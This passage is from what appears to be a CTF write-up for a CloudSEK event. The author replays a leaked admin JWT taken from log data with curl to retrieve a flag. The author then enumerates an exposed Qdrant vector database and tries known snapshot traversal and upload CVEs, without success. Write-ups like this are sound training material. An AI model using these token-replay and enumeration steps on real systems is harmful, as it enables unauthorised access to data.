GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080 -> 401 Unauthorized
GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080
Authorization="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...." -> 200 OK user=ops-admin
10. Decoy Endpoint
The logs also showed traffic to /ops/api/v1/flag. I hit it directly:
curl -sS "<http://15.206.47.5:8080/ops/api/v1/flag>"
{"status":"NICE_TRY","message":"Nice try, but this is the wrong endpoint. Keep trying."}curl -sS "<http://15.206.47.5:8080/ops/api/v1/flag>"
{"status":"NICE_TRY","message":"Nice try, but this is the wrong endpoint. Keep trying."}Wrong path. The real target is /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 with the JWT from the logs.
11. JWT from Logs
Full token extracted from the Loki stream:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruckeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruckDecoded payload:
12. Authenticated Data API
curl -sS -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruck" \
"<http://15.206.47.5:8080/ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61>"curl -sS -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruck" \
"<http://15.206.47.5:8080/ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61>"
flag: CSEK_CTF_2026{flag_cv3_ssrf_2_l0k1_l0g_4n41y515_4d50}
Attack Chain
Challenge 5: Total Recall (250 points)
First look
Hit the port expecting some kind of AI chat or memory API. Got Qdrant instead.
<http://15.206.47.5:5050/>
{"title":"qdrant - vector search engine","version":"1.8.1","commit":"3fbe1cae6cb7f51a0c5bb4b45cfe6749ac76ed59"}<http://15.206.47.5:5050/>
{"title":"qdrant - vector search engine","version":"1.8.1","commit":"3fbe1cae6cb7f51a0c5bb4b45cfe6749ac76ed59"}So the "memory" from the story is a vector database. Support notes and customer knowledge stored as embeddings, not plain text in a web app.
Collections
curl -s <http://15.206.47.5:5050/collections>curl -s <http://15.206.47.5:5050/collections>Two collections:
faq_public— 6 points, readable FAQ Q&A payloads, Cosine distancekb_notes— 500 points, all empty {} payloads, Dot distance
faq_public had normal stuff. Payment methods, free trial, password reset, support hours.
kb_notes matched the story perfectly. 500 internal notes, every payload wiped. Privacy review cleared the text but the vectors are still there.
Access: what worked, what didn't
Worked:
- http://15.206.47.5:5050/collections
- http://15.206.47.5:5050/collections/{name}
- http://15.206.47.5:5050/collections/{name}/points/scroll
- http://15.206.47.5:5050/collections/{name}/points/search
- http://15.206.47.5:5050/collections/{name}/points
Access Denied / 403:
http://15.206.47.5:5050/telemetry, http://15.206.47.5:5050/metricshttp://15.206.47.5:5050/docs,http://15.206.47.5:5050/openapi.json, http://15.206.47.5:5050/robots.txt- http://15.206.47.5:5050/collections/{name}/snapshots
- snapshot upload paths
- http://15.206.47.5:5050/collections/kb_notes/points/query
- most write/admin endpoints
Data collected
faq_public
- 6 entries with full question/answer text
- 768-dim vectors available on request
kb_notes
- 500 point IDs
- 768-dim vectors on request
- zero readable text in any payload (scrolled all 500)
Only real interaction with the hidden notes was vector search. Send an embedding, get ranked IDs and scores back. No plaintext.
CVE attempts
Qdrant 1.8.1 has known issues:
- CVE-2024–3078 — path traversal in Full Snapshot REST API (patched 1.8.3)
- CVE-2024–2221 / CVE-2024–3584 — arbitrary file upload via snapshot upload (patched 1.9.0)
Tried snapshot paths, upload endpoints, basic traversal. All blocked. nginx in front, ACL tight on write operations. Didn't get anywhere with either CVE on this box.
Out of five challenges, this was the only one I couldn't solve. Kept coming back to it between other challenges, tried CVE exploits, scrolled all 500 points manually, poked at every accessible endpoint. The semantic search angle clicked late but I ran out of time before I could execute it properly. Closest I got to a wall in this CTF challenge.
Wrapping Up
That wraps up my writeups for the CloudSEK CTF. Overall, this was genuinely one of the more well designed CTFs I've played in a while, real props to whoever built it.
All in all though, this was a lot of fun. Good mix of difficulty, no filler challenges, and it actually felt like something you'd encounter in a real environment rather than a contrived CTF box. Already looking forward to the next round.
That's it for this one. I know it's a long read, but the challenges were just as long, so felt right to match the energy. Hope you enjoyed going through it as much as I enjoyed solving it.